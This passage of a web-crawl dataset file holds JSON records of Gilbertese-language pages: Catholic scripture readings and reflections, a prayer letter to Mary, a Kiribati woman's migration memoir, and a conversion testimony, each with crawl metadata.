Tikooa.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/te-maeka-i-amerika.com\/te-bangke-banking\/","date":"2021-01-17T05:27:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703509973.34\/warc\/CC-MAIN-20210117051021-20210117081021-00724.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":594,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 1 Katenibong\nWarekan te Reta nakoia Ebera..2: 14-18\nA buokanibai natia aomata n te rara ma te iriko. Ao ai aron naba Kristo, E buokanibai iai ma ngaia, ba E mate, ni kataea iai ana kai teuare ana bai makan te mate, are bon te riaboro; ao E na kainaomataia iai ake a bane n toronaki ni makakin te mate ni kabanei aia tai ni maku. Ba E aki tabeakinia anera, ma E tabeakinia ana kariki Aberaam. Ai ngaia are E bae n riki ba ai aroia tarina ni bai ni kabane, ba E na riki ba te mataniwi ni berebitero ae nanoanga ma ni kakaonimaki, i bukin aroia ma te Atua, ao E na kaboi muin aia bure te botanaomata. Ba E taonaki Ngaia n te rawawata, ao E kona iai ni buokiia akana karawawataki.\nTe Taramo 104: 1-4, 6-9\nKaekana: E uringa ana berita te Uea n aki toki.\nKatituaraoa te Uea, neboa arana, Kaongoia botanaomata ana makuri aika kamimi.\nAneneia, anenea arana, Katanoatai ana makuri aika kamimi. K\nKamoamoai ngkami n arana ae tabu, Ke a kabaia akana ukeria.\nUkera te Ua ma makana, Ukera matana n tai nako. K\nNatin Aberaam ae ana toro, Natini Iakoba aika E rineia,\nBon Atuara te Uea, E motikitaeka i aonaba ni kabuta. K\nE uringa ana berita n tai nako, Ba te taeka i bukin te nga n roro,\nAna berita nakon Aberaam, Ao ana taeka n tuea nakoni Itaaka. K\nAlleluia, alleluia.\nAtuau, reireiai am kawai, kairai inanon am koaua. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko.. 1: 29 – 39.\nNgke E otinako Iesu man te tinakoka, ao E nakon ana auti Timon ma Anterea, ao raona Iakobo ma Ioane. E wene tinani bun Timon, ba e kabuebue, ao E tuangaki Iesu taekana. E nakoina Iesu, ao E taua baina ni kateirakea. Ao e toki kabuebuena, ao e kaamarakeia. Ngke e a tairiki, i muin bungin taai, ao a uotaki nakoina aoraki ni bane ma ake a taniaki irouia taimonio, ao a bane ni botaki kain te kawa i rarikin te mataroa. E kamaiuia ake a maiti man aekan aoraki nako, ao E kanakoia taimonio ake a maiti; ma E tukia taimonio n taetae, ba ataia ba antai ngaia. ngke e a karangaina, i main otin taai, ao E teirake n otinako, ni kaea te tabo ae akea kaina, ao E tataro iai. E mananga n rimuina Timon ma uake raona. Ngke a roko irouna, ao a taku nakoina: \"A bane aomata n ukeriko.\"e kaekaia ni kangai: \"Ti na kitana ikai, ni kawari kawa aika kan, ba N na reirei naba iai, ba bon anne bukini kanakoau.\"Ao e mananga ni kabuta Kariraia n reirei n aia tinakoka, ma ni kanakoia taimonio.\nTibatiba: E uringa ana berita te Uea n aki toki.\nTariu ao maneu e kona ni maninga taekara te Atua? Ti riai n kakoaua ba e kororaoi ana tangira ma ana nanoanga te Atua n tai nako ibukina ba bon aio anuan ao kabarabaran te Atua. Nge e kariki bai te Atua ao ti ongo ba n tokin te bong teuana man te Moanibong ni karokoa te Kaonobong ao ngkana E tara te bai ae E a tia ni karikia te Atua ba e tamaroa ao e raoiroi. E kaotaki ikai ba bai nako aika E karaoi te Atua a bane n nakoraoi ba a kaota anuan te Atua ae kororaoi n te tamaroa ma te raoiroi. Ngaia are ti kakoaua ikai ba bon akea te tai ae kona ni bitaki iai aron te Atua ba E a bon kokoraoi naba n tai nako. Ti tuangaki n taian wareboki ba e bon aki kona ni manuokina taekara te Atua ba E a tia ni koroi arara inanon raraun baina ao E tararuaira n tai nako. Ti nora naba aron kakawakin ana berita te Atua ma te boranaomata ba e teimatoa ao e kawakina ana berita n tai nako nakon Aberaam, Itaaka ao Iakoba. Aio are kaotaki iai ba inanon ririki aika bakanako ao E kawakina ana te berita are e a tia karaoia te Atua ma ara bakatibu inanon roro ma roro.\nInanon naba aia tai n taenikai Iterarea ao aki toki ni manga kauringa te Atua aron ana berita n akoi are a tia ni karaoaia ma aia bakatibu. Tariu ao maneu ti bon riai n aki tabeaianga iroun te Atua ba ti kanga. E bon aki kona ni manuokinira ao e na bon teimatoa ana akoi ma na nanoanga nakoira tr Atua, ti ngkana ti rineia ba ti na maiu n tai nako inanon te raoiroi ao ti na kakaraoa Nanon te Atua.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1579-e-uringa-ana-berita-te-uea-n-aki-toki","date":"2021-01-21T16:50:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00365.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":760,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"04th August, 2010\nBetio Takoronga\nNakon Nei Maria tinan Iesu ao tinaia kaain Aonnaba. Mauri!!!\nKona mauri Maria ae ko on te karatia, E mena Te Uea iroum, ko karaoiroaki ibuakoia aine, ao e karaoiroaki uaan birotom ae Iesu.\nI nebonebo ao man katituaraoiko ibukin am tangira ae moa te bati are ko aki toki n anga n tainako ba am baintangira nakoia kaain aonnaba ni kabane.\nKo raba ao ti katituaraoiko tinara Maria ibukin am tangira ae teimatoa ibukira.\nAu namakin ibukin aron maiu n aomata e aki botau ma natim ae Iesu Kristo, angiia aomata ni kabane a bane ni maiuakina te maiu ni kekekiaki. Ai arou naba ae I aki toki ni mena n te maiu ni kaibabaru.\nA bubuti nakoim tinau kabaran au bure mairoun natim ae Iesu, ngkai bon te aomata ngai ae te tia maiukina te bure n taainako. Ngke I riki ngai ba temanna kain aonteaba, ao mai ikanne are I a riki ba te tia bure.\nAnganai te Tamnei ae Raoiroi ibukin buokau n tai nako, ao kakorakorai n anganai te kakaonimaki n tataro ibukin ana kariri teuare moan te buakaka, te tia bure ngai ao I aki tau i matan Natim.\nAu moan tai aio ni karaoa te bubuti inanon te reta, ba ibukina ba e rio te bai aei man am makuri ni kaotioti are ko kaotiko inanon te mii, ba bon ngkoe te tina ae ko onrake n te karatia ibuakoia aine ni kabane.\nI karabako ao I kakaitauko ibukin kaeakan au bubuti inanon ririki aika bakanako. I a tia ni mena n Ekaretia aika a kakaokoro, ao man bubuti ibukin kan ataan te Ekaretia ni koaua.\nAo ngke ko roko irou, ao I maaku ao man takarua n uti, ba I ataia ba te tia bure ngai.\nAo man te bong ae te Katenibong 4th August 2010 ao I a riki ngai ba kaain am Ekaretia ma N na kataia ni kakaea ae e na buokai ibukin arou n rin inanon Umantabum ae tabu ma e na aki rangi ni maan aron kakaean buokau mai irouia aomata aika kain am Ekaretia.\nAikai au berita nakoim tinau are e na riki ba kairan kawaiu n te bon teuana ma teuana.\nRaraomau ni kabane ao au bubuti ni kabane, taiaoka mannanoi ni karokoi nakon natim.\nAnganiia kain karawa ni kabane au kamauri ao man anganai riki te kekeiaki maaka n aki karaoi baai aika buakaka.\nAo I a kaniiko n aran Natim ae Iesu Kristo are ngaia ara Uea ao ara Tia Kamaiu.\nN aran te Tama, te Nati ao te Tamnei ae Raoiroi, Amen.\nAna Tangira Te Uea\nAna Tangira n tina Nei Maria nakon Tiem\n- Details\n- Written by Administrator\n-","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/44-ana-tangira-n-tina-nei-maria-nakon-tiem","date":"2021-01-28T08:14:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704839214.97\/warc\/CC-MAIN-20210128071759-20210128101759-00379.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":449,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.339,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Tia Kaongora – Mary Tiemi Harris\nArau nei Mary Tiemi Maitinnara ao aran tamau ten Teata Maitinnara ao tinau nei Bitin Rieher. I bungiaki nte aba ae Matiare nte nga ruabubua itibwi ma onoua (1976) ao bon iai onoman (6) tariu ao teniman (3) mwaneu. Ngai naba bon iai bwebweu. I bon maeka i Matiare inanonn 4 te ririki imwain ae i okira Kiribati nte 1980. Ngaia are nna kangai bwa ngai kain Kiribati-I Matiare. Tamau bon kain Kiribati ao tinau e bon itera ni Kiribati ao ni Matiare. Au karo a iein I Tabiteuea ma a mwaing nako Matiare nte ngaa ruabubua itibwi ike ea mwakuri iai tamau nte titoa ae bubura I Matiare ae arana Robert Reimers Enterprises (RRE) bwa kanga te tia taraa aron butin aia mwanee ke te accountant. A bon mwakuri au karo ikekei inanon te maan ae tebwiina tabun te ririrki ao a mwaing n okira Kriribati nte ngaa ruabubua wanibwi (1980) imwiin motirawan tibuu (ana karo tamau), aran te unimwaane aei ten Tebao Maitinnara.\nTi bane ni ikawai rake I Betio ni mwakorona are te Rereua. Ao iai kabwaiara teutana bwa tamau e bitiniti nte titoa ae uarereke ae tei ni kaitara ma te KCWS ngkoa, ao aran ana titoa n taai akekei, e rang kinaaki iai bwa te American Store, ibukina bwa angiin bwaina a kaoaki mai Matiare. I rang uringaa ae e rang baronga ana titoa ao ara mwakuri ngakana ti oki man te reirei bwa ngaira taan tia kaboobwai (store keepers). E bane au moan rinan n reirei St John Bosco School I Temaikin ao imwina ia manga nako n reirei nte kauarinan I Tabwiroa, Abaing are I a kabanea iai tenuua te ririki man 1990 nakon 1992. Ia manga reitaanako au reirei ibukin uoua te ririki nte reirei are Taborio, I Tarawa ieta man 1993 nakon 1994. E bon rang ni kaunga ao man kamaeu te maeu n reirei aikai bwa are ai bon tibwa am moan tai ni maeka nte tabo n reirei ao tiaki irarikiia am karo ke e aranaki bwa te boarding school. E tira te bwaai ae i uring ake I ataia bwa i moan reiakinaki iai mai ikai. Ao iaki kona ni mwaninga aran au mataniwi nte reirei I Tabwiroa, Sr Alice Tuana. Bon te tia kairi ae e matoa ao i karinea n arona ni bane bwa a bati bwaai aika i reiakin mai irouna ibukin tiaki ti te reirei ma te aroaro naba riki ibukiia ataeinaine. Teuana ana taeka ibukin te aroaro nakoiia ataenaine ae I aki kona ni mwaninga ae kangai, Be Heard not Be Seen. Ao ngkana ti rang tatakarua ni ngare ao taekara irouna bwa ti takarua ni kantiroaki are e aranna bwa \"Tiroai taraai bwa I tabaua\". Bon taeka aika kanga akea nanoia iroura n taai akeei ma n akea ataakina ma iangoana ao i namakinna bwa e riki bwa teuana te kauringa ae i bon maeuakinna ni katoa bong ao n aki toki ni karakinna nakoia natiu.\nInanon ririki n reirei aikai ao ea motirawa tamau nte ngaa 1985 are a tiku iai tinau ma tibuu, aran te unaine aei nei Tekatwa Roriki (are bon tinan tamau) n keiaki n tararua aron maeura ma aron te bitiniti are e uarereke are kanga ai ngaia rabwatana are ea tiku imwiina bwa buokara n aron te maeu. E bon rang rawawata te maeu imwiin anne, ma n aia reita ni ibuobuoki tinau ma tibuu ao a bon rang kekeiaki ni kakoroi mwiin taeka ma babaire ake ea tia ni bairei tamau. N akea ataakin te babaire ma te kantaaninga ao ngaia tabeua mai buakon ana kai ni baire tamau bwa tina bane n reirei nte reirein ni katorika e ngae ngke e boo buaka riki nakon reirein te tautaeka. Irarikin ana baire anne ao e kauringa naba tinau bwa ni banen ara reirei ao e uki kawaira nako America ngkana ti kan nako bwa are ti bane ni buangiaki i Matiare.\nEngae n anne ao tina reitia nako. N 1995 ao ia manga reke riniu nte reirei are Elaine Bernacy School I Bikenibeu ibukin te koraki onoua ao imwiin anne ao ia reirei nte USP Teaoraereke ibukin teuana te ririki imwain are tia manga nako n reita kanoan ara burokuraam anne I Fiji are bon atuun te reirei are te USP. E bane uoua au ririki I Fiji ao ia okira Tarawa ma tiaki ti au beeba are e aranaki bwa te Diploma in Tropical Fisheries ma I oki rikaaki naba ma natiu te mwaane ae arana ten Victor Harris. Bon te kamimi ma e bon koaua bwa n ara bong akekei ao e rang korakora are te oki rikaaki man te reirei ma te nati. Are bon kanoan te nano n roo ao te kan roko naba ni bwaai. Ke i aranna bwa kanoan te kan ataibwai i bon iroum n akea maroroakinana ma am ikawai. Kanga ngai au reke iai bwa e irekeke ma ara katei are e rang totokoa aron te nati bwa ena kona n aki maaku ni maroroakiinii bwaai nako ao bwaai ni bane ma ana ikawai.\nInanon Ritembwa 1998 are Ia moana iai au kataneiai ni mwakuri nte Fisheries i Tanaea ni mwakorona are te research center ke te tabo ni kakatai. I aki mwaninga mwaitin boou nte aoa, 80 cent ao I rang uringa ae rang kukurei ngke e moan bwaka au moan tieke ibukin uoua te week ae mwaitina 80 tabun te taara. Kanga ko rang kukurei ngke ko okira am auti ao ko angan tinam am tieke are 80 tabun te taara bwa buokan boon te maeu. Ai aroarona naba aio ni katoa uoua te wiiki. Koa kunea ae e bane rimoa te 80 n taara imwain uoua te wiiki. Ma ko aki tangtang man kakarongoa bwa are anne bon aron te maeu i Tarawa. I bon tiku ni mwakuri nte Fisheries nuua banen 1999.\nNi moan 2000 January ao ea kauringai tinau kanoan iteran babaire are e maroroakinna ma tamau inanon ana tai ni maeu. Ngaia are ea manga uki au iango ibukin te mwaing nako Matiare. N akea au atatai ao otau ae banin, ao ea kabwarabwara tianu are ibukina bwa ti bungiaki i Matiare ti kona n oki rikaki ao ni kareke mwakuri ikekei ao tao n tokin te bong ao kona manga kona n nako Amerika bwa are e uki kawaira nako iai. I aki tabwara ma ia barongai naba au bwai ao are ia roko i Matiare. N tiku i Matiare ao i bon maeka ma natiu iroun tariu temanna are ea bon tia ni mwaing nako Matiare tabeua ririki n nako. Oin te iango ma te kaantaninga bwa ena kona n manga reke au mwakuri naba n taabo ake a irekereke ma taekan kaubwain taari.\nE bon matoa reken au mwakuri are I tangiria. Ao n teuana te tabati ao ia nako n tataro ao akea bwa ia kaitiboo ma au mataniwii ngkoa nte reirei are te tina Alice Tuana. Ngkana kam kinaa te tina aio e bon rang kakateke man rang bwana matoa ao n rang ibuobuoki nakoia ake a kan buokaki. Engae n anne, inanon ara maroro ao ea tuangai bwa nna buokia n te reirei are e mataniwi iai nte tai anne, Catholic Assumption High School. Te bong are imwiina ao Ia kaoti n ana aobit ao ea tuangai bwa nna tia reirei. I bon tuanga, \"te tina, kai bon akea au beeba n tia reirei, ao ngaia e kangai bwa I aki kainanoa te beeba. Te tina Alice bon temanna mai ibuakoia aomata are I tararake nakoia ke i karineia bwa I ataa korakoran ana ibuobuoki nakoiu ngke i reirei nte kauarinan i Tabwiroa. E bwara nanou ni kamanana bwa ena anganai riki au mwakuri teuana nte reirei ma e rawa. E taku bwa ti anne ae rang kainanoia ao e kakoaua irou bwa i kona ni karaoia. Ao kai are e tau ma ia riki bwa ai te tia reirei nakoia te koraki ruaiua nte High School i Matiare. E bane au ririki teuana n tia reirei ao Ia bubuti keerikaakiu bwa ea tei te mwananga nako Hawaii.\nInanon au kakatauraoi ibukin te mwaing nako Hawaii ao Ia kaitiboo ma temanna tei Aberika n Amerika ae mwakuri i Kuatiareen are atimwakoron Matiare teuana. Inanon ara mamaroro ao e kunea are ai iaon kawaiu n nako Hawaii. Ea bon butiai teuaei bwaa nna tiku riki ni kamaanai i Matiare bwa ti aonga ni kona n reitaki riki ibukin te ikikina bwa ngaia tao ea bwaka nanona irou. Eang, e ananau te karaki ma nna kauarereke ni kangai, bwa imwiin uoua te ririki ao tia mare ao man kakabwaiaaki riki ma natira te mwaane, Paul Harris. Ai bon uoman ngkanne natiu mwaane nte tai aei ao tia mwaing nako Kuatiareen ni maeka irarikin kaain abau, aran teuaei Ronnie Harris.\nTe maeka i Kuatiareen e bon rang nakoraoi bwa are ana tabo te miritari ke te tanga ni buaka n Amerika. E boo raoi boon te amwarake, akea boon te auti, akea boon te ran ao te iti ao a bane bwaai iaona, man te tioa, te onaoraki, reirei ni rinanna nako ao taabo n takakaro ke marae n takakaro ibukiia utu, bon akea kainanom iai. Ma ni banen 2004 ao ea manga bitaki te babaire bwa tinang mwaing nako Hawaii bwa ea manga reke ana mwakuri kaainabau i Maui, Hawaii. Are nanona bwa n tokin te iwawaki iaon Matiare ao tia bane ni mwaing nako Hawaii ike ia manga reitaki iai ma tariu ao mwaneu ake a kaman mwaing nako Maui imwaiu. Ao mai ikai are tia moanna iai maekara ma au utu ae uarereke iaon Maui.\nAo anne kanga au kaukuki ni kaongoraai ngkami teutana ibukin rongorongou bwa kam na kinaai ao rongorongon moan rokou ma au utu ni maeka iaon Amerika.\nE tau ma na kaina te itera ni bae aei ni kangai bwa nnang waaki nako n taetae ni kabwarabwara oin bukin au Ngao n Atatai ao ni Kaongora (Website) ae Te Maeka I Amerika.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/te-maeka-i-amerika.com\/mary-harris\/","date":"2021-01-17T05:25:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703509973.34\/warc\/CC-MAIN-20210117051021-20210117081021-00070.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1657,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.337,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N reken te email irou ao imuin tataroakinana ao I manga kaeka ana email Riwata n aron ae oti inano.\nau kaeka nakon Riwata.... \"Ko rangi ni bati n raba Riwata n am tibatiba ae moan te kamimi mani katekenano. N tataroakinana irou ao I taku ba bon iai kainanon Tekabei are e kani buokaki iai n ara tataro.\nBon iai au reitaki ma Tekabeii man moan 2008 ngke I kawaria i Antebuka ibukin taekan ara saloon car are karaoaki n te Lagoon Motors. I bon mimi ngke I rin n ana aobiti ao I a nora te kabaingaki ae toka iaon ana kombiuta (computer ). Ngke I tuanga ae rangi n tikiraoi nanon ana aobiti ao ngaia e taku ba te kaibangaki are I noria kanga kaotan ae e a bon tiba raira nanona ao e kakoaua ae bon ana kaibangaki Iesu ae e tia n anganna te korakora inanon ana makuri. I bon manga titirakinna ba tera ae nanonna n ana taeka ae \"e a tiba raira nanona\" ao ngaia e taku ba e ngae ngke e maan inanon ana makuri ni mitinare ao e kakoaua ae e aki bati ni kakarimoa te Uea ba e bon onimakinna i bon irouna. E a karakinna naba ba bon iai ana kanganga teuana n taai aika nako are e tia n roko iai iangoan ae nang kitana nakoana ni mitinare. Ma e tekeraoi ba e a reke naba manangana teuana nako Aotiteria. N tikuna ikekei i Sydney n te outero ae tao kan reke abui tabun borauataona ao ngaia e tiku n te ka-uabui tabun ni borauatao ao e a bon namakina korakoran ana kanganga are ao e ataia ba ai bon ana makuri te riaboro ni buakanna. Inanon ana buaka ao akea ba e noora temanna te aomata ni karebwebwe i tinanikun te winto. E ataia ni koaua ba bon te riaboro are tei i tinaniku ba akea ae kona n tei ikekei ngkai e bon mena ana ruu n te tabo ae moan te rietata. Inanon ana tataro n takarua ni wetea Iesu ba E na kamaeua ao akea ba e a namakina te ang teuana ae taonna are e a bon ataia ba ai bon Iesu ae E a kawaria. E namakina te te rau ao te kukurei ao e ataia ae E a tia ni kamaeua te Uea riki man ana kanganga are e a tia ni mena inanona n te tai ae maan. Man te tai aio ao e a motikia i nanona ba e nang kabanea maeuna ni kakorraoa ana beku ni mitinare ibukin Iesu ao ai aio ngkanne nanon are e tuangai ba e tiba raira nanona.\nNi motirawau n te Kiritimati ae nako i Kiribati ao e kamimi ba n te taina ao e a roko naba te bana n nano ae korakora teuana irou ba N na riai ni kawaria aomata aika uoman imain te oki nako Biti. Nakai bon Ereman Taoaba ao ai Tekabeii Kaoma. I ataia ba nakai a bon taonaki n te aoraki. I a tuangia kain au auti ba N na nako moa Betio. I roko iroun Ereman ao I maan ni maroro ma ngaia ba tao e kan reke uoua tabun te aoa. N okiu nako Bikenibeu ao I uringa are Nna moana Tekabei i Antebuaka, ma ibukin ae kanga e nang moana ni bong ao e aki reke tiku ma ao I okira naba Bikenibeu.\nN rokou i Bikenibeu ao e titirakinani tinau are ai manen Tekabei ba e reke moanakin Tekabei ao I karautakea ba e aki. I bon tiku ma te tabeianga ao e bon aki te roko n te reke kawaran Tekabei ni karokoa ae ti a oki nako Biti. Ngke I a ongo ni moan te ririki aio ae e a tia ni motirawa Tekabei ao e bon taonai te rawawata ngke e aki te roko n reke kawarana. E ngae n anne ao I bon aki toki n ururinga Tekabei n au tataro ni butia te Uea ba E na nanoangaia mani waekoa ni karokoa irarikina i Karawa.\nRiwata e roko irou manga uringan Tekabei n am tibatiba ao kanga iai te kukurei irou ngkai e kona ni manga reke reitakina ma ngaira Tekabei inanon te kuna are \"E roko Iesu\". I ataia ba Tekabei bon te aomata ae a tia ni babaina te tangira ma te ibuobuoki inanon maeuna ao e raba te Uea ngkai E a tia ni manga anganira temanna kain ara botaki ae St Padre Pio ba teuae Tekabei.\"\nTariu ma maneu tera am iango n aron te rongorongo aio? I karaba te Uea ngkai E a kaotia ikai aron kakawakin te tataro ibukia tarira ma manera ake a tia n rimoara. Ae kakawaki naba ba ngaia n ara bobotaki n neboa te Uea ti bon reitaki tiaki ti ma tarira ao manera ao anera i Karawa ma bon tamneia naba tarira ma manera ake a tia ni mate. Ti karaba Tekabei ngkai e a bon tia ni kaotia ba ngaia boni ngaia temanna kain ara botaki ae St Padre Pio ao ti na teimatoa n uringa n taai nako n ara tai n nebonebo ao riki inanon kunara are \"E roko Iesu\" ni butia te Uea ba E na waekoa ni karokoa irarikina i Karawa.\nUriam Timiti, St Padre Pio i Suva","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/47-kain-ara-botaki-ae-st-padre-pio-ae-bou","date":"2021-01-28T07:39:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704839214.97\/warc\/CC-MAIN-20210128071759-20210128101759-00031.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":885,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Tai \/ Time\nTe tai, tao kam na kangai tera te tai? Eang ti bon bane n ataa te tai ao tao nakoia raou ake a maan iaon America a bon bane n ataia bwa kawakinan te tai e bon rang kakawaki. Te tai tiaki ara bwai, te tai bon ara tia kairiri ao e bwaoti nakoira, te tai tiaki kona ni katuanakokairiira on kakawakin te tai","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/te-maeka-i-amerika.com\/te-tai-time\/","date":"2021-01-17T06:20:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703509973.34\/warc\/CC-MAIN-20210117051021-20210117081021-00609.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":67,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.313,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te tai aei ao ti na kaatua riki ara iango iaon te bai ae te ongotaeka are bon ngaia kaotan ara karinerine ma ara tangira nakon Te Uea. Te ongotaeka boni ngaia te moan karea mairoun te Atua ae moan te kakawaki inanon maeura ni Kiritian ao n riki ba taan tia irira Iesu. Boni ngaia naba te karea aio are ti kona n noria inanon maeuia aomata aika tabu. E a bon taekinaki naba ba e bebete riki te tauraoi ni butimaea te tiringaki nakon te maiu ni maritire nakon maeuakinan te ongotaeka.\nTera itera aika kakawaki inanon te ongotaeka? E na riai n iai te karinerine, te nanorinano ao te aantaeka ae e rianaki ma te tangira. E na riai naba n iai iroura te nano ae uki ao ae e tauraoi ni butimaea te taeka. Ti na bon riai naba n tauraoi n anga arora inanon bain temanna are e mataniwi ke e muiokoaki n te kairiri. Ti boni kainnanoa ngkanne ana buoka te Uea iroun te Tamnei ae Raoiroi ba ti na kona raoi n ngo te taeka ao n ataa nanona. Ngkana e a tia raoi n roko ke n reke iroura te taeka ba ti a tia n ongo ao n ota iai ao ngkanne te bai ae kakawaki ba ti na karaoa nanona. Aio ngkanne bon banin te ongotaeka iroura- bon karaoan ke mmakurian nanon te taeka.\nTi noria ngkanne ba inanon te ongotaeka ao ti riki n ti teuana ma te aomata are e anganiira te taeka. Uringa ba te taeka bon ana kawai te Uea ni kawarira ke ni kaitibo ma Ngaia. Are nanona ba te ongotaeka bon te bai ae na kairira ke e na katiteuanaira ma te Uea. Ngkana iai te bai ke te taeka ae ti tuangaki ae e na aki kairira nakon te Uea ao ngkanne ti riai n aki butimaia ke ni karaoa nanon te taeka anne.\nAikai rongorongo tabeua aika a kona n anganira ba tera kakawakin te ongotaeka ao tera are ti kona ni karekei man maeuakinna inanon maeura.\n1. Ara Tia Kamaeu\nE ongotaeka Iesu iroun Tamana n ua te mate ao e kakororaoa aron ana kamaiu Tamana ibukin aonnaba ae banin.\n2. Padre Pio\nE babaina te ongotaeka Padre Pio inanon maeuna ao e aan taeka man ongotaeka iroun ana mataniwi n te Parish. Taian birimane ma tibanga n te makuri are e baireaki man te Parish, Padre Pio bon ngaia ae kokoro irouna tibanga aikai n te kawa are e tama iai.\nN te taina ao e tewea ana bowi te Ebikobo are e tararua aia Parish ao a bane n roko Tama ni kabane. E taekinna te mataniwi nakoia ana Tama aron te kanganga ibukin kabutan ana waki te aro ba a tiku itera ake a riai ni wakinaki ibukin iremwen taian baka biri mai iroumi. I karaba Padre Pio ba ti ngaia ae are ea tia n roko ana biri ana kawa ao n tia naba tibangaia n te makuri. Aio anuan Padre Pio ai bon te bobonota naba ao ni kakoroi aron tibangana, ao n reitaki naba ma bai ake e tuannga ana mataniwi. E anga ana maroro Padre Pio nakoia raona n Tama ni kangai \"Te bai ae moan te kakawaki iroura ngaira aika taan kairaki, te ongotaeka irouia ara mataniwi, e ngae ngkana e bure ke eti ma ti riai n ongotaeka ba bon anne baera ni koaua.\nImwin anne ao e reitia Padre Pio ni kangai \"Ngkana e tuangai au mataniwi aei ba Nna ewenako man te winto aei ao I a ewenako naba\"\n3. Mother Teretia\nN te taina ngke e tabe n tataro Teretia ao e kaoti naba nakoina Te Uea ae Iesu ao e tuangnga Te Uea, ba e roko ana mataniwi ao e tuangnga ba tera ae e karaoia ao ngaia e tuangnga ba e karaoa te baere e tuanga Te Uea. E un ana mataniwi ao e tuangnga ba e na katukua ao e na karaoa are e tuangnga. Ngke e manga tataro Teretia ao e a kaoti Te Uea nakoina, ao e a taku, Te Uea I a babanga arou ba ko tuangai ba Nna karaoa aei ao e un au mataniwi ao e tuangai ba Nna aki karaoia ma Nna karaoa are e tuangai. E kaeka Te Uea nakoina, ko na karaoa are e tuangko am mataniwi ba e aonga ni waekoa n iranaki nanou.\nKaoti Teingoa ao Uriam Timiti, Okitoba, 2009","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/nsc\/reirei\/15-ncs\/reirei\/39-te-ongotaeka","date":"2021-01-28T07:59:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704839214.97\/warc\/CC-MAIN-20210128071759-20210128101759-00180.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":741,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri n Ana Tangira Te Uea,\nArau Katarake Tabera ao Tinau Teangawa ao au ririki ni maiu 24 ao aran kainabau bon Nei Tearimawa ao temanna natira te aine ao kain ngai Arorae, Tamana ao Maiana.\nRongongou n te 1999 nakon 2004 ao bon te Mormon ngai ao imarenan ririki akanne inanon 2002 ke 2003 ao n te tairiki teuana ao I mii inanon matu ba I anganaki teuana te bai n tatakaro ae aknga te bai ni katomatoma (te puzzle) ba Nna katomatoma, ao I a kubanako ba e aki te roko n toma te bai are I anganaki, ngaia are I a angan tariu ae karimuin karimuiu ba e na katoma. Ngke e a katoma tariu arei ao I rangi ni mimi ngke e a anganai ao e a toma ao ai tamnein Nei Maria ae toba natina Iesu Kristo ao I a bon uti naba. Ngaia are e a ingabong ao I a karakinna nakoia kain au auti aron miiu are I aki ata nanona.\nNgaia tao bon nanona ae I a Katorika n te ririki aei,ao nang bon tiku n ana aro tinau ae Nei Maria ao Nna teimatoa n au 